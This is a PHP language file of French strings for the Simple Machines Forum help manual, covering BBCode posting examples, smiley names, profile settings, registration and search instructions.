$txt['manual_posting_column_code'] = '[table][tr][td]<br />contenu<br />[/td][/tr][/table]';
$txt['manual_posting_column_output'] = 'contenu';
$txt['manual_posting_column_comment'] = 'Notez l\'embo&icirc;tement correct des balises, donc les balises \'table\' contiennent les balises \'tr\', qui elles m&ecirc;me contiennent un nombre &eacute;gal de balises \'td\'!';
$txt['manual_posting_column_bottom_code'] = '[table][tr][td]SMF[/td]<br />[td]Bulletin[/td][/tr]<br />[tr][td]Board[/td]<br />[td]Code[/td][/tr][/table]';
$txt['manual_posting_bbc_sup'] = 'Exposant';
$txt['manual_posting_sup_code'] = '[sup]exposant[/sup]';
$txt['manual_posting_sup_output'] = 'exposant';
$txt['manual_posting_sup_comment'] = '*';
$txt['manual_posting_bbc_sub'] = 'Indice';
$txt['manual_posting_sub_code'] = '[sub]indice[/sub]';
$txt['manual_posting_sub_output'] = 'indice';
$txt['manual_posting_sub_comment'] = '*';
$txt['manual_posting_bbc_tt'] = 'T&eacute;l&eacute;typ&eacute;';
$txt['manual_posting_tt_code'] = '[tt]t&eacute;l&eacute;typ&eacute;[/tt]';
$txt['manual_posting_tt_output'] = 't&eacute;l&eacute;typ&eacute;';
$txt['manual_posting_tt_comment'] = 'Police Monospace.';
$txt['manual_posting_bbc_code'] = 'Ins&eacute;rer du code';
$txt['manual_posting_code_code'] = '[code]&lt;?php phpinfo(); ?&gt;[/code]';
$txt['manual_posting_code_comment'] = 'A toujours utiliser pour pr&eacute;server le format du code et &eacute;viter d\'&ecirc;tre pris pour un BBcode et/ou des &eacute;motic&ocirc;nes&nbsp;!';
$txt['manual_posting_bbc_quote'] = 'Ins&eacute;rer une citation';
$txt['manual_posting_quote_code'] = '[quote]Citer[/quote]';
$txt['manual_posting_quote_output'] = 'citer';
$txt['manual_posting_quote_comment'] = 'Notez la valeur optionnelle \'auteur\'.';
$txt['manual_posting_quote_buttom_code'] = '[quote author=author]citer[/quote]';
$txt['manual_posting_quote_buttom_output'] = 'citer';
$txt['manual_posting_bbc_list'] = 'Ins&eacute;rer une liste';
$txt['manual_posting_list_code'] = '[list]<br />[li]SMF[/li]<br />[li]YaBB SE[/li]<br />[/list]';
$txt['manual_posting_list_output'] = '<ul><li>SMF</li><li>YaBB SE</li></ul>';
$txt['manual_posting_list_comment'] = 'Bien que vous pouvez ajouter autant d\'articles que vous le souhaitez, chaque article doit &ecirc;tre mis correctement entre les balises d\'ouverture et de fermeture. Vous pouvez &eacute;galement d&eacute;nommer vos ent&ecirc;tes d\'article avec des balises sp&eacute;ciales d\'ouverture et sans balise de fermeture, mais cette option ne produit pas d\'XHTML valide.';
$txt['manual_posting_list_buttom_code'] = '[list]<br />[o]cercle<br />[O]cercle<br />[0]cercle<br />[*]disque<br />[@]disque<br />[+]square<br />[x]square<br />[#]square<br />[/list]';
$txt['manual_posting_list_buttom_output'] = '<ul><li type="circle">cercle<br /><li type="circle">cercle<br /><li type="circle">cercle<br /><li type="disc">disque<br /><li type="disc">disque<br /><li type="square">square<br /><li type="square">square<br /><li type="square">square<br /></ul>';
$txt['manual_posting_bbc_abbr'] = 'Abr&eacute;viation';
$txt['manual_posting_abbr_code'] = '[abbr=exemlpi gratia]ex[/abbr]';
$txt['manual_posting_abbr_output'] = 'ex';
$txt['manual_posting_abbr_comment'] = 'Affiche l\'expression enti&egrave;re de l\'abr&eacute;viation lors du passage de la souris.';
$txt['manual_posting_bbc_acro'] = 'Acronyme';
$txt['manual_posting_acro_code'] = '[acronym=Simple Machines Forum]SMF[/acronym]';
$txt['manual_posting_acro_output'] = 'SMF';
$txt['manual_posting_acro_comment'] = 'Affiche l\'expression enti&egrave;re de l\'acronyme lors du passage de la souris.';
$txt['manual_posting_sub_help_smileys'] = 'Emotic&ocirc;nes SMF';
$txt['manual_posting_smileys_help_desc'] = 'Les &eacute;motic&ocirc;nes montr&eacute;s ici viennent du jeu standard du th&egrave;me par d&eacute;faut d\'SMF et peuvent diff&eacute;rer selon les forums.';
$txt['manual_posting_smileys_help_name'] = 'Nom';
$txt['manual_posting_smileys_help_img'] = 'Image (cliquez pour ins&eacute;rer)';
$txt['manual_posting_smileys_help_code'] = 'Code (taper pour ins&eacute;rer)';
$txt['manual_posting_smiley_help_name'] = 'Emotic&ocirc;ne';
$txt['manual_posting_wink_help_name'] = 'Clin d\'oeil';
$txt['manual_posting_cheesy_help_name'] = 'Souriant';
$txt['manual_posting_grin_help_name'] = 'Grima&ccedil;ant';
$txt['manual_posting_angry_help_name'] = 'F&acirc;ch&eacute;';
$txt['manual_posting_sad_help_name'] = 'Triste';
$txt['manual_posting_shocked_help_name'] = 'Choqu&eacute;';
$txt['manual_posting_cool_help_name'] = 'Cool';
$txt['manual_posting_huh_help_name'] = 'Huh';
$txt['manual_posting_rolleyes_help_name'] = 'Sarcastique';
$txt['manual_posting_tongue_help_name'] = 'Langue';
$txt['manual_posting_embarrassed_help_name'] = 'Embarrass&eacute;';
$txt['manual_posting_lipsrsealed_help_name'] = 'L&egrave;vres scell&eacute;es';
$txt['manual_posting_undecided_help_name'] = 'Ind&eacute;cis';
$txt['manual_posting_kiss_help_name'] = 'Bisous';
$txt['manual_posting_cry_help_name'] = 'Pleurs';
$txt['manual_posting_smiley_parse'] = 'Veuillez noter qu\'il n\'est pas s&ucirc;r que tous les codes &eacute;motic&ocirc;nes soient correctement analys&eacute;s et convertis en images si ils n\'ont pas leurs espaces d\'ouverture.';

// Entries for template: profile.
$txt['manual_profile_profile_screen'] = 'L\'&eacute;cran de profil du th&egrave;me par d&eacute;faut consiste normalement en un panneau principal unique, avec un menu additionnel &agrave; gauche afin de vous permettre de naviguer &agrave; travers les diff&eacute;rentes options &agrave; modifier dans votre propre profil. Veuillez noter que, parce qu\'un forum SMF peut &ecirc;tre hautement personnalis&eacute; par ses administrateurs, les options et permissions d&eacute;crites ici sont typiques et peuvent ne pas &ecirc;tre pr&eacute;sentes sur tous les forums.';
$txt['manual_profile_edit_profile_part1'] = 'Pour modifier votre propre profil, commencez par s&eacute;lectionner <strong>Profil</strong> &agrave; partir du ';
$txt['manual_profile_edit_profile_link_index_main'] = 'menu principal';
$txt['manual_profile_edit_profile_part2'] = ' ou cliquez sur votre propre nom d\'utilisateur. Vous pouvez aussi consulter les profils des autres membres (sans pouvoir les modifier) en cliquant sur leur pseudonyme.';
$txt['manual_profile_available_to_all'] = 'Informations normalement disponibles pour tous les membres';
$txt['manual_profile_profile_info'] = 'Infos du Profil';
$txt['manual_profile_username'] = 'Identifiant';
$txt['manual_profile_login_name'] = '[identifiant du membre]';
$txt['manual_profile_pic_text'] = 'Image/texte';
$txt['manual_profile_name'] = 'Pseudonyme';
$txt['manual_profile_screen_name'] = 'Nom affich&eacute; par le membre';
$txt['manual_profile_posts'] = 'Messages';
$txt['manual_profile_member_posts'] = 'Nombre de messages post&eacute;s par le membre';
$txt['manual_profile_position'] = 'Rang';
$txt['manual_profile_membergroup'] = 'Groupe(s)du membre, par type ou par messages';
$txt['manual_profile_date_reg'] = 'Enregistr&eacute; le';
$txt['manual_profile_date_time_reg'] = 'Date et heure d\'enregistrement';
$txt['manual_profile_last_active'] = 'Actif derni&egrave;rement';
$txt['manual_profile_date_time_active'] = 'Date et heure de la derni&egrave;re connexion';
$txt['manual_profile_email'] = 'Courriel';

$txt['manual_profile_email_user'] = 'membre@cette.adresse';
$txt['manual_profile_website'] = 'Site Web';
$txt['manual_profile_status'] = 'Statut actuel';
$txt['manual_profile_pm'] = 'Message Personnel';
$txt['manual_profile_online'] = 'En ligne';
$txt['manual_profile_gender'] = 'Sexe';
$txt['manual_profile_age'] = 'Age';
$txt['manual_profile_n_a'] = 'N/A';
$txt['manual_profile_location'] = 'Localisation';
$txt['manual_profile_local_time'] = 'Heure locale';
$txt['manual_profile_current_date_time'] = 'Date et heure courante chez la zone du membre';
$txt['manual_profile_language'] = 'Langage';
$txt['manual_profile_sig'] = 'Signature';
$txt['manual_profile_other_info'] = 'Informations Suppl&eacute;mentaires';
$txt['manual_profile_send_pm'] = 'Envoyer un Message Personnel &agrave; ce membre.';
$txt['manual_profile_show_member_posts'] = 'Voir les derniers messages de cette personne.';
$txt['manual_profile_show_member_stats'] = 'Voir les statistiques g&eacute;n&eacute;rales pour ce membre.';
$txt['manual_profile_summary_part1'] = 'Cet &eacute;cran <strong>Sommaire</strong> n\'est pas l&agrave; seulement pour vous informer sur les autres membres, mais c\'est aussi le premier &eacute;cran que vous verrez lorsque vous ';
$txt['manual_profile_summary_link_owners'] = 'modifierez votre propre profil';
$txt['manual_profile_summary_part2'] = '.';
$txt['manual_profile_hide_email'] = 'Les membres peuvent choisir de cacher leur <strong>adresse courriel</strong> et/ou leur <strong>statut \'en ligne\'</strong>.';
$txt['manual_profile_empty_part1'] = 'Les champs ici vides ne sont pas remplis par d&eacute;faut, vous devriez donc ';
$txt['manual_profile_empty_link_owners'] = 'modifier votre profil';
$txt['manual_profile_empty_part2'] = ' si vous voulez afficher ces informations.';
$txt['manual_profile_send_member_pm_part1'] = 'Vous pouvez envoyer un ';
$txt['manual_profile_send_member_pm_link_pm'] = 'Message Personnel';
$txt['manual_profile_send_member_pm_part2'] = ' au membre en cliquant sur l\'ic&ocirc;ne <strong>Statut actuel</strong> <strong>En ligne/Hors ligne</strong> ou en suivant le lien du panneau <strong>Informations Suppl&eacute;mentaires</strong> au-dessous.';
$txt['manual_profile_show_last_posts'] = 'Le lien <strong>Voir les derniers messages de cette personne</strong> m&egrave;ne &agrave; une liste compl&egrave;te et pagin&eacute;e de tous les messages post&eacute;s par le membre.';
$txt['manual_profile_show_member_stats2'] = 'Le lien <strong>Voir les statistiques g&eacute;n&eacute;rales de ce membre</strong> m&egrave;ne &agrave; un &eacute;cran de statistiques &agrave; propos du temps pass&eacute; connect&eacute; sur le forum et ses activit&eacute;s de postage.';
$txt['manual_profile_sec_normal'] = 'R&eacute;glages normalement disponibles au membre d&eacute;tenteur du Profil';
$txt['manual_profile_normal_desc'] = 'Bien que le <strong>Sommaire</strong> est le m&ecirc;me que celui affich&eacute; ci-dessus et que les liens <strong>Voir les Messages</strong> et <strong>Voir les Stats</strong> soient dupliqu&eacute;s, les propri&eacute;taires de profils poss&egrave;dent plusieurs outils pour le personnaliser&nbsp;:';
$txt['manual_profile_modify_profile'] = 'Modifier le Profil';
$txt['manual_profile_account_related'] = '<strong>Param&egrave;tres relatifs au compte</strong> vous permet de changer votre <strong>pseudonyme</strong> (votre <strong>identifiant</strong> ou <strong>nom d\'utilisateur</strong> ne peut &ecirc;tre chang&eacute; que par un administrateur), la <strong>langue</strong> pr&eacute;f&eacute;r&eacute;e pour l\'affichage du forum (si les administrateurs du forum ont install&eacute; des paquets de langues suppl&eacute;mentaires et activ&eacute; cette capacit&eacute; dans le Centre d\'administration), vos r&eacute;glages d\'adresse <strong>courriel</strong> et de <strong>mot de passe</strong>.';
$txt['manual_profile_forum_profile_info'] = '<strong>Informations sur le profil utilisateur</strong> vous permet d\'entrer plusieurs informations personnelles optionnelles vous concernant, comme votre <strong>sexe</strong>, votre <strong>date d\'anniversaire</strong>, votre <strong>localisation</strong>, votre <strong>site web</strong> et vos contacts de <strong>messageries instantan&eacute;es</strong>. C\'est aussi ici que vous pouvez ajouter votre propre <strong>titre personnel</strong>, une <strong>signature</strong> et choisir un <strong>avatar</strong> (une image personnelle) provenant d\'une liste (fournie par les administrateurs) ou li&eacute; depuis une adresse Internet.';
$txt['manual_profile_look_layout'] = '<strong>Affichage et disposition</strong> vous permet de s&eacute;lectionner votre <strong>th&egrave;me</strong> (habillage du forum), zone et format d\'horaire, ainsi que d\'autres choix personnels pour <strong>la disposition</strong>. A noter que le panneau sur lequel vous vous trouvez est affich&eacute; en caract&egrave;re gras dans le menu:';
$txt['manual_profile_profile_info2'] = 'Infos du Profil';
$txt['manual_profile_summary2'] = 'Sommaire';
$txt['manual_profile_show_stats'] = 'Montrer les stats';
$txt['manual_profile_show_posts'] = 'Montrer les messages';
$txt['manual_profile_modify_own_profile'] = 'Modifier le Profil';
$txt['manual_profile_edit_profile1'] = 'Modifier le Profil';
$txt['manual_profile_acct_settings'] = 'Param&egrave;tres relatifs au compte';
$txt['manual_profile_forum_profile'] = 'Informations du profil utilisateur';
$txt['manual_profile_look_and_layout'] = 'Affichage et disposition';
$txt['manual_profile_notify_email'] = 'Notifications et courriel';
$txt['manual_profile_pm_options1'] = 'Options de Messages Personnels';
$txt['manual_profile_actions'] = 'Actions';
$txt['manual_profile_delete_account'] = 'Effacer ce compte';
$txt['manual_profile_look_layout_explanation'] = 'Cette section vous permet de personnaliser l\'affichage et la disposition du forum.';
$txt['manual_profile_current_theme'] = 'Th&egrave;me actuel';
$txt['manual_profile_board_default'] = 'Forum ou section par d&eacute;faut';
$txt['manual_profile_change'] = 'changer';
$txt['manual_profile_time_format'] = 'Format de l`\'heure';
$txt['manual_profile_help'] = 'Aide';
$txt['manual_profile_caption_date'] = 'Le format actuel sera utilis&eacute; comme format d\'affichage du forum.';
$txt['manual_profile_date_option_select'] = 'Forum par d&eacute;faut';
$txt['manual_profile_date_option_1'] = 'Mois Jour, Ann&eacute;e, HH:MM:SS a/pm';
$txt['manual_profile_date_option_2'] = 'Mois Jour, Ann&eacute;e, HH:MM:SS (Heure de l\'arm&eacute;e.)';
$txt['manual_profile_date_option_3'] = 'AAAA-MM-JJ, HH:MM:SS';
$txt['manual_profile_date_option_4'] = 'JJ Mois AAAA, HH:MM:SS';
$txt['manual_profile_date_option_5'] = 'JJ-MM-AAAA, HH:MM:SS';
$txt['manual_profile_time_offset'] = 'D&eacute;calage horaire';
$txt['manual_profile_offset_hours'] = 'Nombre d\'heures en +/- pour faire correspondre l\'heure affich&eacute;e avec votre heure locale.';
$txt['manual_profile_forum_time'] = 'L\'heure actuelle du forum doit s\'afficher ici.';
$txt['manual_profile_board_descriptions'] = 'Montrer les descriptions de la section dans les sections.';
$txt['manual_profile_show_child'] = 'Montrer les sous-sections sur chaque page des section, pas seulement la premi&egrave;re.';
$txt['manual_profile_no_ava'] = 'Ne pas montrer les avatars des autres membres.';
$txt['manual_profile_no_sig'] = 'Ne pas montrer les signatures des autres membres.';
$txt['manual_profile_return_to_topic'] = 'Par d&eacute;faut, retourner dans les sujets apr&egrave;s avoir post&eacute;.';
$txt['manual_profile_recent_posts'] = 'Voir les messages r&eacute;cents en premier.';
$txt['manual_profile_recent_pms'] = 'Voir les messages personnels r&eacute;cents en premier.';
$txt['manual_profile_quick_reply'] = 'Utiliser la R&eacute;ponse Rapide dans l\'affichage du sujet';
$txt['manual_profile_not_at_all'] = 'ne pas montrer du tout';
$txt['manual_profile_off_default'] = 'montrer, r&eacute;tract&eacute; par d&eacute;faut';
$txt['manual_profile_on_default'] = 'montrer, d&eacute;velopp&eacute; par d&eacute;faut';
$txt['manual_profile_quick_mod'] = 'Montrer la mod&eacute;ration rapide tel quel dans les messages';

$txt['manual_profile_no_quick_mod'] = 'ne pas montrer';
$txt['manual_profile_check_quick_mod'] = 'bo&icirc;tes &agrave; cocher';
$txt['manual_profile_icon_quick_mod'] = 'ic&ocirc;nes';
$txt['manual_profile_first_day_week'] = 'Premier jour de la semaine du calendrier';
$txt['manual_profile_sun'] = 'Dimanche';
$txt['manual_profile_mon'] = 'Lundi';
$txt['manual_profile_change_profile'] = 'Changer le profil';
$txt['manual_profile_notify_email_prefs'] = '<strong>Notifications et courriels</strong> vous permet de s&eacute;lectionner vos pr&eacute;f&eacute;rences personnelles pour les <strong>notifications</strong> (courriels envoy&eacute;s &agrave; propos de nouveaux sujets et r&eacute;ponses) et liste toutes les notifications pr&eacute;sentement configur&eacute;es.';
$txt['manual_profile_pm_options_part1'] = '<strong>Options de Messages Personnels</strong> vous permet de mettre en place une <strong>Liste des Ignor&eacute;s</strong> (liste noire) pour vos ';
$txt['manual_profile_pm_options_link_pm'] = 'Messages Personnels';
$txt['manual_profile_pm_options_part2'] = ', pour demander une <strong>notification par courriel</strong> de vos nouveaux MPs et pour <strong>sauvegarder des copies</strong> de vos messages envoy&eacute;s dans votre bo&icirc;te d\'envoi par d&eacute;faut.';
$txt['manual_profile_sub_actions'] = 'Actions';
$txt['manual_profile_confirm_delete_acct'] = '<strong>Effacer ce compte</strong> fait exactement ce que &ccedil;a veut dire&nbsp;! Oui, il y a un <strong>&eacute;cran de confirmation</strong>, mais il <strong>efface r&eacute;ellement votre propre compte</strong>, donc attention...';
$txt['manual_profile_sec_settings'] = 'R&eacute;glages normalement r&eacute;serv&eacute;s aux Administrateurs';
$txt['manual_profile_settings_desc'] = 'En plus d\'&ecirc;tre capable de voir/modifier les d&eacute;tails ci-dessus mentionn&eacute;s sur les profils des autres membres, quelques options suppl&eacute;mentaires sont visibles (et ex&eacute;cutables) seulement par les  administrateurs:';
$txt['manual_profile_track_user'] = 'Suivre le membre';
$txt['manual_profile_track_ip'] = 'Traque IP';
$txt['manual_profile_show_permissions'] = 'Montrer les permissions';
$txt['manual_profile_ban_user'] = 'Bannir ce membre';
$txt['manual_profile_sub_profile_info'] = 'Infos du Profil';
$txt['manual_profile_sub_track_user'] = '<strong>Suivre le membre</strong> fournit une liste d\' <strong>adresses IP</strong> utilis&eacute;es par le membre, les autres membres qui peuvent &ecirc;tre dans la m&ecirc;me <strong>plage d\'IP</strong> que lui, et les <strong>messages d\'erreurs</strong> g&eacute;n&eacute;r&eacute;s/exp&eacute;riment&eacute;s par le membre.';
$txt['manual_profile_sub_track_ip'] = '<strong>Traque IP</strong> fournit des outils pour traquer des <strong>membres</strong>, <strong>messages</strong> et <strong>erreurs</strong> &agrave; partir d\'une <strong>adresse ou plage d\'IP</strong>.';
$txt['manual_profile_sub_show_permissions'] = '<strong>Montrer les permissions</strong> liste les diff&eacute;rentes <strong>permissions de forum</strong> accord&eacute;es ou refus&eacute;es au membre et qui les lui a accord&eacute;es ou refus&eacute;es.';
$txt['manual_profile_sub_modify_profile'] = 'Modifier le Profil';
$txt['manual_profile_sub_acct_settings'] = '<strong>Param&egrave;tres relatifs au compte</strong> est pratiquement le m&ecirc;me &eacute;cran que celui ci-dessus, &agrave; l\'exception qu\'il contient une option suppl&eacute;mentaire pour assigner &agrave; ce membre des <strong>groupes de membres</strong>.';
$txt['manual_profile_sub_forum_profile_info'] = '<strong>Informations du profil utilisateur</strong> est pratiquement le m&ecirc;me &eacute;cran que celui des profils personnels, mais avec la possibilit&eacute; d\'ajouter des <strong>Titres Personnalis&eacute;s</strong> pour les membres.';
$txt['manual_profile_sub_actions2'] = 'Actions';
$txt['manual_profile_sub_ban_user'] = '<strong>Bannir ce membre</strong> fournit des moyens pour <strong>bannir</strong> des membres, configurer le <strong>niveau</strong> de bannissement et maintenir une <strong>liste de bannissements</strong> notant les d&eacute;tails des bannissements en cours.';
$txt['manual_profile_sub_delete_acct'] = '<strong>Effacer ce compte</strong> est similaire &agrave; l\'&eacute;cran du m&ecirc;me nom disponible pour tous les membres, mais la <strong>question de confirmation</strong> est diff&eacute;rente lorsque ce n\'est pas votre compte qui doit &ecirc;tre effac&eacute;.';

// Entries for template: registering.
$txt['manual_registering_you_have_arrived_part1'] = 'Lorsque vous visitez fr&eacute;quemment un forum SMF et que vous voulez rejoindre la communaut&eacute; visit&eacute;e, vous aurez &agrave; vous enregistrer avec un identifiant unique. Ceci vous permettra de conserver une identit&eacute; constante pour poster et surveiller vos sujets, n\'importe o&ugrave; que vous travaillez ou de n\'importe quel ordinateur. Vous aurez alors la possibilit&eacute; de remplir un ';
$txt['manual_registering_you_have_arrived_link_profile'] = 'profil';
$txt['manual_registering_you_have_arrived_part2'] = ' personnel et d\'utiliser le ';
$txt['manual_registering_you_have_arrived_link_profile_pm'] = 'syst&egrave;me de messages personnels';
$txt['manual_registering_you_have_arrived_part3'] = 'incorpor&eacute;. Vous aurez alors la possibilit&eacute; d\'utiliser le syst&egrave;me de notification de nouveaux messages, de surveiller vos activit&eacute;s internes au forum et plus encore.';
$txt['manual_registering_sec_register'] = 'Comment s\'enregistrer';
$txt['manual_registering_register_desc'] = 'En supposant que vous &ecirc;tes arriv&eacute; sur le forum en tant qu\'invit&eacute; et que vous souhaitez vous enregistrer, vous devriez tomber sur l\'un ou l\'autre des deux &eacute;crans suivants&nbsp;:';
$txt['manual_registering_select_register_part1'] = 'N\'importe quelle page du forum, auquel cas vous cliquerez sur le bouton <strong>S\'enregistrer</strong> &agrave; partir du ';
$txt['manual_registering_select_register_link_index_main'] = 'menu principal';
$txt['manual_registering_select_register_part2'] = '.';
$txt['manual_registering_login_Scr_part1'] = 'Un &eacute;cran d\'avertissement vous demandant de vous connecter ou de vous enregistrer, auquel cas suivez le lien affich&eacute; dans l\'avertissement ou cliquez sur <strong>S\'enregistrer</strong> &agrave; partir du ';
$txt['manual_registering_login_Scr_link_index_main'] = 'menu principal';
$txt['manual_registering_login_Scr_part2'] = '.';
$txt['manual_registering_warning'] = 'Attention&nbsp;!';
$txt['manual_registering_warning_desc_1'] = 'Seuls les membres enregistr&eacute;s sont autoris&eacute;s &agrave; acc&eacute;der &agrave; cette section.';
$txt['manual_registering_warning_desc_2'] = 'Veuillez vous connecter ci-dessous ou ';
$txt['manual_registering_warning_desc_3'] = 'enregistrer un nouveau compte';
$txt['manual_registering_warning_desc_4'] = ' sur Nom du Forum.';
$txt['manual_registering_sec_reg_screen'] = 'L\'&eacute;cran d\'enregistrement';
$txt['manual_registering_required_info'] = 'Enregistrez-vous - Informations Requises';
$txt['manual_registering_choose_username'] = 'Choisissez un Identifiant';
$txt['manual_registering_caption_username'] = 'Utilis&eacute; uniquement pour l\'identification sur SMF.';
$txt['manual_registering_email'] = 'Courriel';
$txt['manual_registering_caption_email'] = 'Cela doit &ecirc;tre une adresse courriel valide.';
$txt['manual_registering_hide_email'] = 'Cacher l\'adresse courriel au public&nbsp;?';
$txt['manual_registering_choose_pass'] = 'Choisir un mot de passe';
$txt['manual_registering_verify_pass'] = 'V&eacute;rifier le mot de passe';
$txt['manual_registering_agreement'] = 'C\'est ici que devrait &ecirc;tre affich&eacute; l\'accord d\'enregistrement, s\'il y en a un&nbsp;!';
$txt['manual_registering_agree'] = 'Je suis d\'accord';
$txt['manual_registering_register'] = 'Enregistrez-vous';
$txt['manual_registering_reg_screen_requirements_part1'] = 'Lorsque vous arriverez &agrave; l\'&eacute;cran d\'enregistrement, vous devrez fournir un <strong>identifiant</strong>, une <strong>adresse courriel</strong> et un <strong>mot de passe</strong>, et il vous sera offert l\'option de cacher votre adresse courriel au public. depuis que la plupart des forums requi&egrave;rent l\'acceptation d\'un accord d\'utilisation avant que votre enregistrement soit accept&eacute;, vous aurez probablement &agrave; le lire et cocher la case <strong>Je suis d\'accord</strong> avant de pouvoir poursuivre. Ce qui suivra d&eacute;pend de la configuration du forum, mais, si le prochain &eacute;cran est une ';
$txt['manual_registering_reg_screen_requirements_link_loginout_screen'] = 'zone de connexion';
$txt['manual_registering_reg_screen_requirements_part2'] = ' pr&eacute;c&eacute;d&eacute;e d\'un message vous invitant &agrave; vous connecter, &ccedil;a y est, vous &ecirc;tes correctement enregistr&eacute; et vous pouvez d&egrave;s maintenant utiliser votre nouveau compte&nbsp;! Sinon, il y a deux autres possibilit&eacute;s&nbsp;:';
$txt['manual_registering_email_activate'] = 'Si l\'enregistrement a &eacute;t&eacute; configur&eacute; de telle sorte qu\'un courriel d\'activation est n&eacute;cessaire, l\'&eacute;cran suivant vous affichera un message vous indiquant qu\'un courriel vient de vous &ecirc;tre envoy&eacute; contenant les instructions &agrave; suivre pour compl&eacute;ter votre enregistrement. Mais il y a aussi un lien utile (\'Avez vous re&ccedil;u votre courriel d\'activation&nbsp;?\') dans la fen&ecirc;tre <strong>Infos Utilisateur</strong> en cas que vous ayez manqu&eacute; ce courriel ou que vous ayez mal tap&eacute; votre adresse courriel.';
$txt['manual_registering_admin_approve'] = 'Si l\'enregistrement a &eacute;t&eacute; configur&eacute; de telle sorte que l\'approbation d\'un administrateur est n&eacute;cessaire, l\'&eacute;cran suivant vous affichera un message vous indiquant qu\'un courriel vient de vous &ecirc;tre envoy&eacute; contenant les instructions &agrave; suivre pour compl&eacute;ter votre enregistrement et un autre courriel pour vous informez si vous avez &eacute;t&eacute; accept&eacute; ou non.';

// Entries for template: searching.
$txt['manual_searching_you_have_arrived'] = 'Bien que SMF int&egrave;gre d\'origine un moteur de recherche puissant, savoir comment l\'utiliser est s&ucirc;rement la cl&eacute; pour obtenir les meilleurs r&eacute;sultats de recherche&nbsp;!';
$txt['manual_searching_sec_search'] = 'Commencer une recherche';
$txt['manual_searching_search_desc_part1'] = 'En supposant que le forum tourne avec le Th&egrave;me par D&eacute;faut de SMF (ou un de ses d&eacute;riv&eacute;s), il devrait il y avoir en m&ecirc;me temps un champ <strong>Recherche</strong> (associ&eacute; &agrave; un lien texte <strong>Recherche +</strong>) dans l\'ent&ecirc;te r&eacute;tractable du site, et une option <strong>Recherche</strong> dans le ';
$txt['manual_searching_search_desc_link_index_main'] = 'menu principal';
$txt['manual_searching_search_desc_part2'] = '. Sinon, l\'option <strong>Recherche</strong> devrait alors amener directement &agrave; l\'&eacute;cran de recherche avanc&eacute;e.';
$txt['manual_searching_sec_syntax'] = 'Syntaxe';
$txt['manual_searching_syntax_desc'] = 'Si vous pouvez seulement taper (et rechercher) n\'importe quelle combinaison de caract&egrave;res, vous devriez consid&eacute;rer l\'utilisation des guillemets anglaises <!-- and/or wildcards --> pour faciliter votre recherche:';
$txt['manual_searching_sub_quotes'] = 'Guillemets';
$txt['manual_searching_quotes_desc'] = 'Pour r&eacute;sumer sommairement son utilisation, rechercher pour <strong>forum simple machines</strong> retournera des r&eacute;sultats pour chacun de ces trois mots, mais les entourer de guillemets <em>anglaises</em> (ie <strong>&quot;forum simple machines&quot;</strong>) retournera des r&eacute;sultats ne contenant que cette phrase.';
$txt['manual_searching_sec_simple_adv'] = 'Simple ou Avanc&eacute;e&nbsp;?';
$txt['manual_searching_sub_simple'] = 'Recherche Simple';
$txt['manual_searching_simple_desc'] = 'Pour utiliser la recherche simple (si elle est activ&eacute;e), la syntaxe basique d&eacute;crite plus haut est tout ce que vous avez r&eacute;ellement besoin de conna&icirc;tre. Vous voudrez peut-&ecirc;tre aussi savoir que cet outil recherche &agrave; travers le forum en entier pour n\'importe quelles ou toutes les entr&eacute;es sp&eacute;cifi&eacute;es dans tous les messages post&eacute;s durant les 9999 derniers jours (soit plus de 27 ans)&nbsp;! Donc, pour avoir plus de contr&ocirc;le sur votre recherche, vous devriez utiliser la recherche avanc&eacute;e.';
$txt['manual_searching_sub_adv'] = 'Recherche Avanc&eacute;e';
$txt['manual_searching_adv_desc'] = 'Bien que l\'&eacute;cran de recherche avanc&eacute;e semble intimidant au premier coup d\'oeil si le forum poss&egrave;de beaucoup de sections et sous-sections, il est assez facile d\'utilisation lorsqu\'il est r&eacute;duit &agrave; sa plus simple expression:';
$txt['manual_searching_forum_name'] = 'Nom du forum';
$txt['manual_searching_search'] = 'Recherche';
$txt['manual_searching_search_param'] = 'Param&egrave;tres de Recherche';
$txt['manual_searching_search_for'] = 'Rechercher';
$txt['manual_searching_match_all'] = 'Tous les mots';
$txt['manual_searching_match_any'] = 'N\'importe quel mot';
$txt['manual_searching_by_user'] = 'par Membre';
$txt['manual_searching_options'] = 'Options';
$txt['manual_searching_msg_age'] = 'Age du message';
$txt['manual_searching_show_results'] = 'Montrer les r&eacute;sultats comme des messages';
$txt['manual_searching_subject_only'] = 'Titres des sujets seulement';
$txt['manual_searching_between'] = 'Entre ';
$txt['manual_searching_and'] = ' et ';
$txt['manual_searching_days'] = ' jours';
$txt['manual_searching_search_order'] = 'Ordre de recherche';
$txt['manual_searching_relevant_first'] = 'Les r&eacute;sultats les plus appropri&eacute;s en premier';
$txt['manual_searching_big_first'] = 'Les sujets plus longs en premier';
$txt['manual_searching_small_first'] = 'Les sujets plus courts en premier';
$txt['manual_searching_recent_first'] = 'Les sujets plus r&eacute;cents en premier';
$txt['manual_searching_oldest_first'] = 'Les sujets plus anciens en premier';
$txt['manual_searching_choose'] = 'Choisir une section o&ugrave; rechercher, ou rechercher dans tous';
$txt['manual_searching_cat'] = 'Nom de la cat&eacute;gorie';
$txt['manual_searching_board_name'] = 'Nom de la section';
$txt['manual_searching_another_board'] = 'Une autre section';
$txt['manual_searching_check_all'] = '';
$txt['manual_searching_nav_tree'] = 'Certains forums affichent l\'<strong>arborescence de navigation</strong> en haut en une ligne horizontale &eacute;conomisant l\'espace.';
$txt['manual_searching_three_options_part1'] = 'Malgr&eacute; son apparence initiale, le forum dispose r&eacute;ellement de <em>trois</em> options pour le format de recherche, soit faire correspondre <strong>tous les mots</strong> ou <strong>n\'importe quel mot</strong> accessibles depuis le menu d&eacute;roulant, et <strong>&quot;Rechercher une phrase&quot;</strong><!-- and <strong>*wildcards</strong> --> toujours disponible de la fa&ccedil;on ';
$txt['manual_searching_three_options_link_syntax'] = 'd&eacute;crite';
$txt['manual_searching_three_options_part2'] = ' plus haut.';
$txt['manual_searching_wildcard'] = 'L\'ast&eacute;risque (*) par d&eacute;faut dans le champ <strong>par Membre</strong> est essentiellement un joker signifiant sortir des r&eacute;sultats pour tous les membres. Veuillez noter que, si vous pouvez remplacer ce joker par un <em>unique</em> identifiant pour des recherches plus sp&eacute;cifiques, il n\'est pas possible &agrave; l\'heure actuelle de rechercher des r&eacute;sultats pour des identifiants multiples, &agrave; l\'exception de ce joker.';
